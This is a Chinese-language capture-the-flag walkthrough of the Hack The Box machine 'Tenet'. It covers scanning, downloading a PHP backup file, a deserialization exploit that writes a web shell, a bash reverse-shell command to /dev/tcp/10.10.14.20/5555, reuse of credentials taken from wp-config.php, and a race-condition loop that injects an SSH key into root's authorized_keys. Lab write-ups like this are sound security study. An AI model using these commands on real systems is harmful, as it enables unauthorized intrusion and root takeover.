Tenet
0x01 信息收集
使用nmap对目标ip进行扫描
nmap -sS -sCV 10.10.10.223

访问80端口

进行目录扫描

扫出了wordpress后台登录地址,那我们接下来就是要尝试搜索用户名,密码信息,进行登录后台

发现需要网站tenet.htb,将其添加至hosts中,重新访问,有几篇博客

从这几篇博客中,发现了关键信息,网站可能存在sator.php及其备份文件

0x02 获取源码
我们尝试访问此备份文件,成功下载

查看文件内容

0x03 漏洞利用
对源码进行分析,显然存在反序列化漏洞,很简单,直接构造exp

传入exp,成功写入shell

反弹shell,得到www权限
bash -c "bash -i >& /dev/tcp/10.10.14.20/5555 0>&1"

0x04 权限提升
尝试寻找敏感文件,找到了wp-config.php文件,其内写有数据库账号密码

使用ssh进行登录

成功得到一个flag

查看sudo权限

发现了enableSSH.sh,查看
neil@tenet:/$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
经过简单分析之后,此脚本作用是将ssh公钥写进root下的.ssh目录,但其会先将公钥写到临时目录下,做一个检查,在写到root目录下,那么此时我们就可以通过竞争修改临时文件中的公钥,以此来提权
先本地生成ssh公钥

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDJdByfsxFKmsXURpo5cH5Kf9a1lylX/ZYhHZgWYcC0m6JkgZKSjRvshriNurZyq/KI4tgm9hvpNPrZTaj/58fH5rgTNYos+HVRbiVudhU2BSI0OIwLes8KMcxcqQI3TK9P2mK+rOnJQ3gY/A6yFJzieg9GNP+j6TRwryW2+r8rukxhVPzUBw83lM+/bML+nu3gLs5OeDqWpIt4J635Pfvu5JmTWAy7BMVV+boU5kXRNoTxaH0/ki394FYzYtPJU1wTDaD1y3lC5SZdEc7nbnBzG4tun/7+mIELkGorcsuADgnXBhPZ1Bg09Qy64GlwbhQQQ/C/p0nK21eVFaj51w/KqlOUQES4L+sZGjaD/at7emeD4XDtr/gKTUYENJushEfTVTFUI6M51dDu8sselxuuMwzd5Wcsz/ijoVh87eYf7BGV43kqCEj4MiAHwICAIK6DWUZRhTLhBgEg2bnCh1jINCnColXEllnEFHQu5TCF/rId9MKUf00/TCpq4LiRR8= kali@kali
然后持续想临时文件写入公钥
while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDJdByfsxFKmsXURpo5cH5Kf9a1lylX/ZYhHZgWYcC0m6JkgZKSjRvshriNurZyq/KI4tgm9hvpNPrZTaj/58fH5rgTNYos+HVRbiVudhU2BSI0OIwLes8KMcxcqQI3TK9P2mK+rOnJQ3gY/A6yFJzieg9GNP+j6TRwryW2+r8rukxhVPzUBw83lM+/bML+nu3gLs5OeDqWpIt4J635Pfvu5JmTWAy7BMVV+boU5kXRNoTxaH0/ki394FYzYtPJU1wTDaD1y3lC5SZdEc7nbnBzG4tun/7+mIELkGorcsuADgnXBhPZ1Bg09Qy64GlwbhQQQ/C/p0nK21eVFaj51w/KqlOUQES4L+sZGjaD/at7emeD4XDtr/gKTUYENJushEfTVTFUI6M51dDu8sselxuuMwzd5Wcsz/ijoVh87eYf7BGV43kqCEj4MiAHwICAIK6DWUZRhTLhBgEg2bnCh1jINCnColXEllnEFHQu5TCF/rId9MKUf00/TCpq4LiRR8= kali@kali" | tee "/tmp/ssh-*"; done
另一边访问sh文件,成功写入我们的公钥

尝试ssh登录,成功获得root权限
